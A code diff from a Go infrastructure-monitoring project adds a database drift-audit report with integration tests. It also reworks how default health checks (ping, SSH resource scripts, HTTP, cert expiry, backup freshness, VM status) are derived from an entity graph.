// Report runs every drift check and returns the findings plus a summary.
|
||||
func Report(ctx context.Context, pool *db.Pool) ([]Finding, Summary) {
|
||||
specs := []struct {
|
||||
finding Finding
|
||||
query string
|
||||
}{
|
||||
{
|
||||
Finding{Category: "orphan_checks", Severity: "warning",
|
||||
Evidence: "check entities with truncated/random slugs (legacy shortSlug bug), no live target",
|
||||
SuggestedRunbook: "scripts/cleanup-orphan-checks.sh"},
|
||||
`SELECT e.slug FROM entities e
|
||||
WHERE e.type = 'check'
|
||||
AND e.slug ~ '^check:(ping|ssh-script|disk):[0-9a-f]{8}$'`,
|
||||
},
|
||||
{
|
||||
Finding{Category: "dead_checks", Severity: "warning",
|
||||
Evidence: "enabled check_defs whose target entity is deprecated/destroyed",
|
||||
SuggestedRunbook: "lifecycle-deprecate-node / lifecycle-destroy-node"},
|
||||
`SELECT e.slug FROM check_defs cd
|
||||
JOIN entities e ON e.id = cd.entity_id
|
||||
JOIN entities tgt ON tgt.id = cd.target_id
|
||||
WHERE cd.enabled AND tgt.state IN ('deprecated','destroyed')`,
|
||||
},
|
||||
{
|
||||
Finding{Category: "down_checks", Severity: "critical",
|
||||
Evidence: "enabled checks reporting health=down",
|
||||
SuggestedRunbook: "service-health-check"},
|
||||
`SELECT e.slug FROM check_defs cd JOIN entities e ON e.id = cd.entity_id
|
||||
WHERE cd.enabled AND cd.last_health = 'down'`,
|
||||
},
|
||||
{
|
||||
Finding{Category: "unknown_checks", Severity: "warning",
|
||||
Evidence: "enabled checks that ran but reported health=unknown (likely misconfigured probe)",
|
||||
SuggestedRunbook: "knowledge-graph-audit"},
|
||||
`SELECT e.slug FROM check_defs cd JOIN entities e ON e.id = cd.entity_id
|
||||
WHERE cd.enabled AND cd.last_health = 'unknown'`,
|
||||
},
|
||||
{
|
||||
Finding{Category: "unmonitored", Severity: "warning",
|
||||
Evidence: "active entities whose type declares monitoring but have no enabled check_def",
|
||||
SuggestedRunbook: "knowledge-graph-audit"},
|
||||
`SELECT DISTINCT e.slug FROM signals sg
|
||||
JOIN entities e ON e.id = sg.target_entity_id
|
||||
WHERE sg.kind = 'unmonitored' AND sg.state IN ('raised','acknowledged','acting')`,
|
||||
},
|
||||
{
|
||||
Finding{Category: "dangling_edges", Severity: "warning",
|
||||
Evidence: "live relationships (hosts/provides/mounts) pointing at destroyed/deprecated targets",
|
||||
SuggestedRunbook: "lifecycle-destroy-node"},
|
||||
`SELECT src.slug || ' -' || r.type || '-> ' || tgt.slug FROM relationships r
|
||||
JOIN entities src ON src.id = r.source_id
|
||||
JOIN entities tgt ON tgt.id = r.target_id
|
||||
WHERE r.valid_to IS NULL
|
||||
AND src.state NOT IN ('destroyed','deprecated')
|
||||
AND tgt.state IN ('destroyed','deprecated')`,
|
||||
},
|
||||
{
|
||||
Finding{Category: "polluted_attrs", Severity: "warning",
|
||||
Evidence: "routing-critical attributes carrying prose (breaks resolution) — e.g. host='hubris (confirmed via pct…')",
|
||||
SuggestedRunbook: "knowledge-graph-audit"},
|
||||
`SELECT slug || ': host=' || (attributes->>'host') FROM entities
|
||||
WHERE attributes->>'host' IS NOT NULL
|
||||
AND (attributes->>'host') ~ '[ (]'`,
|
||||
},
|
||||
}
|
||||
|
||||
findings := make([]Finding, 0, len(specs))
|
||||
summary := Summary{ByCategory: map[string]int{}}
|
||||
for _, sp := range specs {
|
||||
f := runFinding(ctx, pool, sp.finding, sp.query)
|
||||
findings = append(findings, f)
|
||||
summary.TotalFindings += f.Count
|
||||
summary.ByCategory[f.Category] = f.Count
|
||||
}
|
||||
return findings, summary
|
||||
}
|
||||
|
||||
const entityCap = 50
|
||||
|
||||
// runFinding runs a single-column slug query and folds the rows into a Finding.
|
||||
func runFinding(ctx context.Context, pool *db.Pool, f Finding, query string) Finding {
|
||||
rows, err := pool.Query(ctx, query)
|
||||
if err != nil {
|
||||
f.Evidence = f.Evidence + " (query error: " + err.Error() + ")"
|
||||
return f
|
||||
}
|
||||
defer rows.Close()
|
||||
for rows.Next() {
|
||||
var slug string
|
||||
if err := rows.Scan(&slug); err != nil {
|
||||
continue
|
||||
}
|
||||
f.Count++
|
||||
if len(f.Entities) < entityCap {
|
||||
f.Entities = append(f.Entities, slug)
|
||||
}
|
||||
}
|
||||
return f
|
||||
}
|
||||
69
internal/audit/audit_test.go
Normal file
69
internal/audit/audit_test.go
Normal file
@@ -0,0 +1,69 @@
|
||||
package audit
|
||||
|
||||
import (
|
||||
"context"
|
||||
"testing"
|
||||
|
||||
"github.com/dtoro/oikos/internal/db"
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
// Integration tests against a real Postgres, guarded by
|
||||
// OIKOS_TEST_DATABASE_URL (same convention as internal/scheduler).
|
||||
|
||||
func newAuditPool(t *testing.T) *db.Pool {
|
||||
t.Helper()
|
||||
base := getenvOrDefault("OIKOS_TEST_DATABASE_URL", "")
|
||||
if base == "" {
|
||||
t.Skip("OIKOS_TEST_DATABASE_URL not set — skipping integration test")
|
||||
}
|
||||
return createTestDB(t, base)
|
||||
}
|
||||
|
||||
func TestReportFlagsOrphanAndDeadAndDown(t *testing.T) {
|
||||
pool := newAuditPool(t)
|
||||
ctx := context.Background()
|
||||
|
||||
// An orphan check entity (truncated random slug, the legacy bug shape).
|
||||
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1,'check:ssh-script:0d31fdd1','check','check:ssh-script:0d31fdd1','active','{}'::jsonb,1,now(),now())`, uuid.New())
|
||||
|
||||
// An active entity + a check_def on it stuck down.
|
||||
target := uuid.New()
|
||||
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1,'service:demo','service','demo','active','{}'::jsonb,1,now(),now())`, target)
|
||||
checkE := uuid.New()
|
||||
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1,'check:http:service:demo:0','check','c','active','{}'::jsonb,1,now(),now())`, checkE)
|
||||
mustExec(t, pool, ctx, `INSERT INTO check_defs (entity_id, target_id, target_type, kind, config, interval_s, timeout_s, enabled, last_run_at, last_health)
|
||||
VALUES ($1,$2,'service','http','{}'::jsonb,60,30,true,now(),'down')`, checkE, target)
|
||||
|
||||
// A deprecated entity still carrying an enabled check (dead_checks).
|
||||
dep := uuid.New()
|
||||
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1,'service:old','service','old','deprecated','{}'::jsonb,1,now(),now())`, dep)
|
||||
depCheck := uuid.New()
|
||||
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1,'check:http:service:old:0','check','c','active','{}'::jsonb,1,now(),now())`, depCheck)
|
||||
mustExec(t, pool, ctx, `INSERT INTO check_defs (entity_id, target_id, target_type, kind, config, interval_s, timeout_s, enabled, last_run_at)
|
||||
VALUES ($1,$2,'service','http','{}'::jsonb,60,30,true,now())`, depCheck, dep)
|
||||
|
||||
findings, summary := Report(ctx, pool)
|
||||
|
||||
byCat := map[string]int{}
|
||||
for _, f := range findings {
|
||||
byCat[f.Category] = f.Count
|
||||
}
|
||||
if byCat["orphan_checks"] < 1 {
|
||||
t.Errorf("orphan_checks = %d, want >=1", byCat["orphan_checks"])
|
||||
}
|
||||
if byCat["down_checks"] < 1 {
|
||||
t.Errorf("down_checks = %d, want >=1", byCat["down_checks"])
|
||||
}
|
||||
if byCat["dead_checks"] < 1 {
|
||||
t.Errorf("dead_checks = %d, want >=1", byCat["dead_checks"])
|
||||
}
|
||||
if summary.TotalFindings < 3 {
|
||||
t.Errorf("TotalFindings = %d, want >=3", summary.TotalFindings)
|
||||
}
|
||||
}
|
||||
67
internal/audit/testutil_test.go
Normal file
67
internal/audit/testutil_test.go
Normal file
@@ -0,0 +1,67 @@
|
||||
package audit
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"math/rand"
|
||||
"os"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/dtoro/oikos/internal/db"
|
||||
"github.com/jackc/pgx/v5"
|
||||
)
|
||||
|
||||
// createTestDB provisions a throwaway migrated database, same convention as
|
||||
// internal/scheduler/coverage_test.go.
|
||||
func createTestDB(t *testing.T, baseURL string) *db.Pool {
|
||||
t.Helper()
|
||||
ctx := context.Background()
|
||||
|
||||
admin, err := pgx.Connect(ctx, baseURL)
|
||||
if err != nil {
|
||||
t.Fatalf("connect admin: %v", err)
|
||||
}
|
||||
dbName := fmt.Sprintf("oikos_aud_%08x", rand.Int63())
|
||||
if _, err := admin.Exec(ctx, "CREATE DATABASE "+dbName); err != nil {
|
||||
admin.Close(ctx)
|
||||
t.Fatalf("create test db: %v", err)
|
||||
}
|
||||
admin.Close(ctx)
|
||||
|
||||
at := strings.LastIndex(baseURL, "/")
|
||||
testURL := baseURL[:at+1] + dbName
|
||||
if q := strings.Index(baseURL[at:], "?"); q >= 0 {
|
||||
testURL += baseURL[at+q:]
|
||||
}
|
||||
|
||||
pool, err := db.New(ctx, testURL)
|
||||
if err != nil {
|
||||
t.Fatalf("connect test db: %v", err)
|
||||
}
|
||||
if err := pool.Migrate(ctx); err != nil {
|
||||
t.Fatalf("migrate: %v", err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
pool.Close()
|
||||
if admin, err := pgx.Connect(ctx, baseURL); err == nil {
|
||||
admin.Exec(ctx, "DROP DATABASE IF EXISTS "+dbName+" WITH (FORCE)")
|
||||
admin.Close(ctx)
|
||||
}
|
||||
})
|
||||
return pool
|
||||
}
|
||||
|
||||
func getenvOrDefault(key, def string) string {
|
||||
if v := os.Getenv(key); v != "" {
|
||||
return v
|
||||
}
|
||||
return def
|
||||
}
|
||||
|
||||
func mustExec(t *testing.T, pool *db.Pool, ctx context.Context, q string, args ...any) {
|
||||
t.Helper()
|
||||
if _, err := pool.Exec(ctx, q, args...); err != nil {
|
||||
t.Fatalf("exec %s: %v", q, err)
|
||||
}
|
||||
}
|
||||
@@ -1,38 +1,522 @@
|
||||
// Package checkdefaults derives an entity's default check_defs from the
|
||||
// monitoring kinds its type declares in seeds/ontology.yaml.
|
||||
//
|
||||
// The type says WHAT to watch (`service: [http, process]`); this package
|
||||
// works out HOW — which concrete check_defs rows to write, and what host,
|
||||
// script or URL each needs. Deriving config here rather than in YAML keeps
|
||||
// the ontology declarative and keeps address resolution (which has to walk
|
||||
// the graph) in code.
|
||||
package checkdefaults
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log/slog"
|
||||
"strings"
|
||||
|
||||
"github.com/dtoro/oikos/internal/ontology"
|
||||
"github.com/google/uuid"
|
||||
"github.com/jackc/pgx/v5"
|
||||
)
|
||||
|
||||
type CheckDef struct {
|
||||
Kind string
|
||||
Script string
|
||||
Host string
|
||||
User string
|
||||
Port int
|
||||
Thresholds map[string]any
|
||||
Extra map[string]any
|
||||
// Semantic monitoring kinds, as declared on entity types. These are not
|
||||
// check_defs.kind values — one semantic kind can expand to several concrete
|
||||
// checks (`resource` becomes four ssh-script rows).
|
||||
const (
|
||||
KindPing = "ping"
|
||||
KindResource = "resource"
|
||||
KindUpdates = "updates"
|
||||
KindProcess = "process"
|
||||
KindHTTP = "http"
|
||||
KindCapacity = "capacity"
|
||||
KindBackup = "backup-freshness"
|
||||
KindCertExpiry = "cert-expiry"
|
||||
KindVMStatus = "vm-status"
|
||||
)
|
||||
|
||||
// defaultBackupMaxAge is how long a backup target may go without a new
|
||||
// artifact before it is stale. A day suits the nightly jobs in this lab;
|
||||
// override per target with `backup_max_age_s` in the entity's attributes.
|
||||
const defaultBackupMaxAge = 86400
|
||||
|
||||
// Target is the entity default checks are being ensured for.
|
||||
type Target struct {
|
||||
ID uuid.UUID
|
||||
Slug string
|
||||
Type string
|
||||
// Name is the entity's name column, not an attribute. The old code read
|
||||
// attrs["name"], which is never populated — seeds put `name` beside
|
||||
// `attributes`, not inside it — so every service silently produced no
|
||||
// process check.
|
||||
Name string
|
||||
Attrs []byte
|
||||
}
|
||||
|
||||
// Result reports what Ensure did, so callers can log a type that declared
|
||||
// monitoring but produced nothing instead of failing silently.
|
||||
type Result struct {
|
||||
Created int
|
||||
// Skipped records kinds that were declared but could not be built, with
|
||||
// the reason. A non-empty Skipped on an active entity is a real gap.
|
||||
Skipped []Skip
|
||||
// Undeclared is true when no ancestor of the type declared monitoring —
|
||||
// an ontology gap rather than a fleet gap.
|
||||
Undeclared bool
|
||||
}
|
||||
|
||||
// Skip is one declared-but-unbuilt check kind.
|
||||
type Skip struct {
|
||||
Kind string
|
||||
Reason string
|
||||
}
|
||||
|
||||
type checkDef struct {
|
||||
kind string
|
||||
config map[string]any
|
||||
interval int32
|
||||
}
|
||||
|
||||
// Ensure writes the default check_defs for one entity, idempotently.
|
||||
//
|
||||
// Returns the number of checks created. An entity whose type declares
|
||||
// monitoring it cannot satisfy comes back with a populated Skipped rather
|
||||
// than an error — a missing address is a modelling gap, not a failure of
|
||||
// this call.
|
||||
func Ensure(ctx context.Context, tx pgx.Tx, tree *ontology.TypeTree, t Target) (Result, error) {
|
||||
var res Result
|
||||
|
||||
if _, err := tx.Exec(ctx,
|
||||
`INSERT INTO entity_status (entity_id, health, updated_at)
|
||||
VALUES ($1, 'unknown', now())
|
||||
ON CONFLICT (entity_id) DO NOTHING`, t.ID); err != nil {
|
||||
return res, fmt.Errorf("entity_status %s: %w", t.Slug, err)
|
||||
}
|
||||
|
||||
mon := tree.Monitoring(t.Type)
|
||||
if !mon.Declared {
|
||||
res.Undeclared = true
|
||||
return res, nil
|
||||
}
|
||||
if mon.None() {
|
||||
return res, nil
|
||||
}
|
||||
|
||||
var attrs map[string]any
|
||||
if len(t.Attrs) > 0 {
|
||||
_ = json.Unmarshal(t.Attrs, &attrs)
|
||||
}
|
||||
if attrs == nil {
|
||||
attrs = map[string]any{}
|
||||
}
|
||||
|
||||
// Per-entity override: an explicit `monitoring` attribute wins over the
|
||||
// type declaration. A single entity can opt out (monitoring: none) or pick
|
||||
// different kinds without introducing a new type — e.g. service:haos opts
|
||||
// out because its VM is already covered by a vm-status check and the
|
||||
// service can't be SSH-probed (haos blocks SSH).
|
||||
if mo, ok := attrs["monitoring"]; ok {
|
||||
mon = resolveMonitoringAttr(mo, mon)
|
||||
if mon.None() {
|
||||
return res, nil
|
||||
}
|
||||
}
|
||||
|
||||
// A service has no address of its own — it lives on the container that
|
||||
// provides it. Fall back to the graph before giving up.
|
||||
host := resolveHost(attrs)
|
||||
if host == "" {
|
||||
hostAttrs, err := hostViaGraph(ctx, tx, t.ID)
|
||||
if err != nil {
|
||||
return res, fmt.Errorf("resolve host for %s: %w", t.Slug, err)
|
||||
}
|
||||
host = resolveHost(hostAttrs)
|
||||
if user := resolveSSHUser(hostAttrs); host != "" && user != "root" {
|
||||
attrs["ssh"] = hostAttrs["ssh"]
|
||||
}
|
||||
}
|
||||
user := resolveSSHUser(attrs)
|
||||
port := resolveSSHPort(attrs)
|
||||
|
||||
var defs []checkDef
|
||||
for _, kind := range mon.Kinds {
|
||||
built, reason := buildKind(kind, t, attrs, host, user, port)
|
||||
if len(built) == 0 {
|
||||
res.Skipped = append(res.Skipped, Skip{Kind: kind, Reason: reason})
|
||||
continue
|
||||
}
|
||||
defs = append(defs, built...)
|
||||
}
|
||||
|
||||
for i, def := range defs {
|
||||
created, err := writeCheck(ctx, tx, t, i, def)
|
||||
if err != nil {
|
||||
return res, fmt.Errorf("check %s/%s: %w", t.Slug, def.kind, err)
|
||||
}
|
||||
if created {
|
||||
res.Created++
|
||||
}
|
||||
}
|
||||
return res, nil
|
||||
}
|
||||
|
||||
// resolveMonitoringAttr turns an entity's `monitoring` attribute into a
|
||||
// MonitoringResolution that overrides the type's declaration. Accepts the
|
||||
// scalar "none" (or empty) to opt out, or a list of kind strings to override.
|
||||
func resolveMonitoringAttr(v any, fallback ontology.MonitoringResolution) ontology.MonitoringResolution {
|
||||
switch vv := v.(type) {
|
||||
case string:
|
||||
if vv == "none" || vv == "" {
|
||||
return ontology.MonitoringResolution{Declared: true, Source: "attribute"}
|
||||
}
|
||||
case []any:
|
||||
kinds := make([]string, 0, len(vv))
|
||||
for _, k := range vv {
|
||||
if s, ok := k.(string); ok && s != "" {
|
||||
kinds = append(kinds, s)
|
||||
}
|
||||
}
|
||||
return ontology.MonitoringResolution{Declared: true, Kinds: kinds, Source: "attribute"}
|
||||
}
|
||||
return fallback
|
||||
}
|
||||
|
||||
// buildKind turns one declared semantic kind into concrete check_defs, or
|
||||
// returns the reason it could not.
|
||||
func buildKind(kind string, t Target, attrs map[string]any, host, user string, port int) ([]checkDef, string) {
|
||||
ssh := func(script string, args ...string) checkDef {
|
||||
cfg := map[string]any{"script": script, "host": host}
|
||||
if user != "" && user != "root" {
|
||||
cfg["user"] = user
|
||||
}
|
||||
if port != 0 && port != 22 {
|
||||
cfg["port"] = port
|
||||
}
|
||||
if len(args) > 0 && args[0] != "" {
|
||||
cfg["args"] = args[0]
|
||||
}
|
||||
return checkDef{kind: "ssh-script", config: cfg, interval: 60}
|
||||
}
|
||||
|
||||
switch kind {
|
||||
case KindPing:
|
||||
if host == "" {
|
||||
return nil, "no address on the entity or its host"
|
||||
}
|
||||
return []checkDef{{kind: "ping", config: map[string]any{"host": host}, interval: 30}}, ""
|
||||
|
||||
case KindResource:
|
||||
if host == "" {
|
||||
return nil, "no address on the entity or its host"
|
||||
}
|
||||
return []checkDef{
|
||||
ssh("cpu_check.sh"), ssh("memory_check.sh"),
|
||||
ssh("load_check.sh"), ssh("disk_usage_check.sh"),
|
||||
}, ""
|
||||
|
||||
case KindUpdates:
|
||||
if host == "" {
|
||||
return nil, "no address on the entity or its host"
|
||||
}
|
||||
// Daily. updates_check.sh runs `apt update` against the distro
|
||||
// mirrors; the shared 60s ssh-script default would have meant 1,440
|
||||
// mirror hits per machine per day to answer a question whose answer
|
||||
// changes about once a day.
|
||||
u := ssh("updates_check.sh")
|
||||
u.interval = 86400
|
||||
return []checkDef{u}, ""
|
||||
|
||||
case KindCapacity:
|
||||
if host == "" {
|
||||
return nil, "no address on the entity or its host"
|
||||
}
|
||||
return []checkDef{ssh("disk_usage_check.sh")}, ""
|
||||
|
||||
case KindProcess:
|
||||
if host == "" {
|
||||
return nil, "no address on the entity or its host"
|
||||
}
|
||||
// A service's name is a logical label, not usually its systemd unit
|
||||
// or container name (matrix = matrix-synapse.service + containers).
|
||||
// Prefer an explicit probe target when declared; process_check.sh also
|
||||
// matches a unit prefix or a docker container as a fallback.
|
||||
unit := ""
|
||||
for _, key := range []string{"probe_unit", "systemd_unit", "container"} {
|
||||
if v, _ := attrs[key].(string); v != "" {
|
||||
unit = v
|
||||
break
|
||||
}
|
||||
}
|
||||
// Ontology intent: "http when it has a url, else a process check." A
|
||||
// url-fronted service is already liveness-probed via http (the real
|
||||
// endpoint, through the TLS terminator); the process check is redundant
|
||||
// and fragile (needs host access + the exact unit/container name), and
|
||||
// under worst-of aggregation it lets a broken supplementary probe veto
|
||||
// a working service. Emit it only for services WITHOUT a url, or when
|
||||
// an explicit probe_unit opts into binary-level depth.
|
||||
if unit == "" {
|
||||
if httpURL(t, attrs) != "" {
|
||||
return nil, "url present and no probe_unit; http check covers liveness"
|
||||
}
|
||||
unit = t.Name
|
||||
}
|
||||
if unit == "" {
|
||||
return nil, "no name to check a process for"
|
||||
}
|
||||
// process_check.sh takes the unit/container name as $1 and reports
|
||||
// "unknown" without it.
|
||||
return []checkDef{ssh("process_check.sh", unit)}, ""
|
||||
|
||||
case KindBackup:
|
||||
// A backup target is checked from the machine that writes to it, so it
|
||||
// needs both an address (resolved via the backs-up-to edge) and the
|
||||
// path to look at.
|
||||
path, _ := attrs["path"].(string)
|
||||
if path == "" {
|
||||
return nil, "entity carries no path attribute to check for backups"
|
||||
}
|
||||
if host == "" {
|
||||
return nil, "no address on the entity or whatever backs up to it"
|
||||
}
|
||||
maxAge := defaultBackupMaxAge
|
||||
if v, ok := attrs["backup_max_age_s"].(float64); ok && v > 0 {
|
||||
maxAge = int(v)
|
||||
}
|
||||
cfg := map[string]any{"path": path, "host": host, "max_age_s": maxAge}
|
||||
if user != "" && user != "root" {
|
||||
cfg["user"] = user
|
||||
}
|
||||
if port != 0 && port != 22 {
|
||||
cfg["port"] = port
|
||||
}
|
||||
// Daily. The freshness budget itself is a day, so probing more often
|
||||
// cannot surface anything sooner — it just costs an SSH round trip.
|
||||
return []checkDef{{kind: "backup-freshness", config: cfg, interval: 86400}}, ""
|
||||
|
||||
case KindHTTP:
|
||||
url := httpURL(t, attrs)
|
||||
if url == "" {
|
||||
return nil, "no url attribute, public_host, or hostname-shaped name"
|
||||
}
|
||||
// max_status rather than an exact expected_status: most services sit
|
||||
// behind Authentik and answer 302/401, which is a working service.
|
||||
return []checkDef{{
|
||||
kind: "http",
|
||||
config: map[string]any{"url": url, "max_status": 500},
|
||||
interval: 60,
|
||||
}}, ""
|
||||
|
||||
case KindCertExpiry:
|
||||
// The host whose cert to read (SNI / cert CN). Prefer an explicit
|
||||
// `hostname` attribute, then `cn`, then a dotted name. Hourly: expiry
|
||||
// changes once a day, but a renewal or mis-issued cert is worth
|
||||
// noticing within the hour.
|
||||
host := certHost(t, attrs)
|
||||
if host == "" {
|
||||
return nil, "no hostname / cn / dotted name to dial for the cert"
|
||||
}
|
||||
// `dial` is the TLS terminator's address to connect to (Caddy's lab
|
||||
// IP), used when the hostname doesn't resolve/reach from the scheduler.
|
||||
// Without it the probe can't reach *.hubris.network from a container
|
||||
// with no mesh / split-horizon DNS.
|
||||
dial, _ := attrs["dial"].(string)
|
||||
config := map[string]any{"host": host, "warn_days": 30, "crit_days": 7}
|
||||
if dial != "" {
|
||||
config["dial"] = dial
|
||||
}
|
||||
return []checkDef{{
|
||||
kind: "cert-expiry",
|
||||
config: config,
|
||||
interval: 3600,
|
||||
}}, ""
|
||||
|
||||
case KindVMStatus:
|
||||
// "Is the VM powered on" via `qm status` on its Proxmox host — the
|
||||
// right reachability probe for a VM, since many block ICMP and lack a
|
||||
// guest agent. checkVMStatus re-reads pve_id + host at runtime.
|
||||
if _, ok := attrs["pve_id"]; !ok {
|
||||
return nil, "no pve_id to run qm status"
|
||||
}
|
||||
return []checkDef{{
|
||||
kind: "vm-status",
|
||||
config: map[string]any{},
|
||||
interval: 60,
|
||||
}}, ""
|
||||
}
|
||||
|
||||
return nil, "no builder for this kind yet"
|
||||
}
|
||||
|
||||
// certHost works out the hostname to TLS-dial for a certificate's expiry.
|
||||
func certHost(t Target, attrs map[string]any) string {
|
||||
for _, key := range []string{"hostname", "cn", "san"} {
|
||||
if v, ok := attrs[key].(string); ok && v != "" {
|
||||
return v
|
||||
}
|
||||
}
|
||||
// A dotted name is a hostname (hubris.network, media.hubris.network).
|
||||
if strings.Contains(t.Name, ".") && !strings.Contains(t.Name, " ") {
|
||||
return t.Name
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// writeCheck upserts one check_def and its backing check entity.
|
||||
//
|
||||
// The entity upsert MUST return the row's id. The previous version generated
|
||||
// a fresh uuid, inserted ON CONFLICT (slug) DO NOTHING, then wrote a
|
||||
// check_defs row referencing that uuid. On any re-seed the slug already
|
||||
// existed, the entity insert became a no-op, and the check_defs insert
|
||||
// violated its foreign key — which aborted the whole ingest transaction and
|
||||
// made every subsequent statement fail with 25P02. Because the errors were
|
||||
// discarded, the only visible symptom was an unrelated failure much later.
|
||||
func writeCheck(ctx context.Context, tx pgx.Tx, t Target, idx int, def checkDef) (bool, error) {
|
||||
// The full target slug, not a truncation of it. shortSlug() took the last
|
||||
// 8 characters, so all 21 ingress routes collapsed to ".network" and
|
||||
// generated one identical check slug — they overwrote each other and 20
|
||||
// of them ended up with no check at all. It also collided service:jellyfin
|
||||
// with lxc:jellyfin. Entity slugs are unique; use them.
|
||||
checkSlug := fmt.Sprintf("check:%s:%s:%d", def.kind, t.Slug, idx)
|
||||
|
||||
newID, err := uuid.NewV7()
|
||||
if err != nil {
|
||||
newID = uuid.New()
|
||||
}
|
||||
|
||||
var checkID uuid.UUID
|
||||
err = tx.QueryRow(ctx,
|
||||
`INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1, $2, 'check', $2, 'active', '{}', 1, now(), now())
|
||||
ON CONFLICT (slug) DO UPDATE SET updated_at = now()
|
||||
RETURNING id`,
|
||||
newID, checkSlug).Scan(&checkID)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("upsert check entity %s: %w", checkSlug, err)
|
||||
}
|
||||
|
||||
configJSON, err := json.Marshal(def.config)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
// Config is derived from the seed, so the seed wins on re-ingest and
|
||||
// attribute changes propagate. `enabled` is deliberately left alone: it
|
||||
// is operational state an operator may have toggled.
|
||||
// last_run_at is seeded to a random point inside the interval so checks
|
||||
// created together do not stay in lockstep. Every check the seed creates
|
||||
// would otherwise come due in the same instant forever: ~165 probes
|
||||
// landing at once each minute rather than spread across it. Deliberately
|
||||
// absent from the DO UPDATE below — a re-seed must not reset the schedule
|
||||
// and re-herd everything.
|
||||
tag, err := tx.Exec(ctx,
|
||||
`INSERT INTO check_defs (entity_id, target_id, target_type, kind, config, interval_s, timeout_s, enabled, last_run_at)
|
||||
VALUES ($1, $2, $6, $3, $4, $5, 30, true,
|
||||
now() - make_interval(secs => random() * $5::int))
|
||||
ON CONFLICT (entity_id) DO UPDATE
|
||||
SET target_id = EXCLUDED.target_id, target_type = EXCLUDED.target_type,
|
||||
kind = EXCLUDED.kind,
|
||||
config = EXCLUDED.config, interval_s = EXCLUDED.interval_s,
|
||||
updated_at = now()`,
|
||||
checkID, t.ID, def.kind, configJSON, def.interval, t.Type)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("upsert check_def %s: %w", checkSlug, err)
|
||||
}
|
||||
return tag.RowsAffected() > 0, nil
|
||||
}
|
||||
|
||||
// httpURL works out what to GET for an http check.
|
||||
//
|
||||
// Ingress routes carry their hostname as the entity name rather than as an
|
||||
// attribute (`name: media.hubris.network`), and most declare no attributes at
|
||||
// all — so the name is the only thing to go on. Requiring a `url` attribute
|
||||
// left all 21 of them unmonitored, which is a shame given an ingress check is
|
||||
// the most end-to-end probe available: it exercises Caddy, DNS, TLS and the
|
||||
// upstream in one request.
|
||||
func httpURL(t Target, attrs map[string]any) string {
|
||||
if url, ok := attrs["url"].(string); ok && url != "" {
|
||||
return url
|
||||
}
|
||||
if h, ok := attrs["public_host"].(string); ok && h != "" {
|
||||
return "https://" + h
|
||||
}
|
||||
// A dotted name is a hostname; a service name like "jellyfin" is not.
|
||||
if strings.Contains(t.Name, ".") && !strings.Contains(t.Name, " ") {
|
||||
return "https://" + t.Name
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// hostViaGraph returns the attributes of the entity that hosts or provides
|
||||
// this one, so a service can inherit its container's address.
|
||||
func hostViaGraph(ctx context.Context, tx pgx.Tx, entityID uuid.UUID) (map[string]any, error) {
|
||||
rows, err := tx.Query(ctx, `
|
||||
SELECT e.attributes
|
||||
FROM relationships r
|
||||
JOIN entities e ON e.id = r.source_id
|
||||
WHERE r.target_id = $1
|
||||
AND r.valid_to IS NULL
|
||||
-- backs-up-to points from the thing being backed up TO the target,
|
||||
-- so walking it backwards finds the machine that writes the backups
|
||||
-- — which is the only place a freshness check can run.
|
||||
AND r.type IN ('provides', 'hosts', 'runs-on', 'backs-up-to')
|
||||
ORDER BY CASE r.type
|
||||
WHEN 'provides' THEN 0 WHEN 'runs-on' THEN 1
|
||||
WHEN 'backs-up-to' THEN 2 ELSE 3 END`,
|
||||
entityID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
for rows.Next() {
|
||||
var raw []byte
|
||||
if err := rows.Scan(&raw); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var attrs map[string]any
|
||||
if json.Unmarshal(raw, &attrs) != nil {
|
||||
continue
|
||||
}
|
||||
if resolveHost(attrs) != "" {
|
||||
return attrs, nil
|
||||
}
|
||||
}
|
||||
return nil, rows.Err()
|
||||
}
|
||||
|
||||
func resolveHost(attrs map[string]any) string {
|
||||
if attrs == nil {
|
||||
return ""
|
||||
}
|
||||
if ip, ok := attrs["lan_ip"].(string); ok && ip != "" {
|
||||
return ip
|
||||
}
|
||||
// public_ipv4 before mesh: the scheduler container has no mesh interface,
|
||||
// so a standalone-server reachable only by mesh IP (netbird-vps) is
|
||||
// unprobeable even though a public IPv4 is available.
|
||||
if ip, ok := attrs["public_ipv4"].(string); ok && ip != "" {
|
||||
return ip
|
||||
}
|
||||
if mesh, ok := attrs["mesh"].(map[string]any); ok {
|
||||
if nb, ok := mesh["netbird"].(map[string]any); ok {
|
||||
if ip, ok := nb["ip"].(string); ok && ip != "" {
|
||||
return ip
|
||||
}
|
||||
// Seeds record the mesh name, not an address — ws:mac-mini
|
||||
// carries only `fqdn`, which is why it resolved to nothing.
|
||||
if fqdn, ok := nb["fqdn"].(string); ok && fqdn != "" {
|
||||
return fqdn
|
||||
}
|
||||
}
|
||||
}
|
||||
if ip, ok := attrs["mesh_ip"].(string); ok && ip != "" {
|
||||
return ip
|
||||
}
|
||||
for _, key := range []string{"host", "address", "public_host"} {
|
||||
if v, ok := attrs[key].(string); ok && v != "" {
|
||||
return v
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
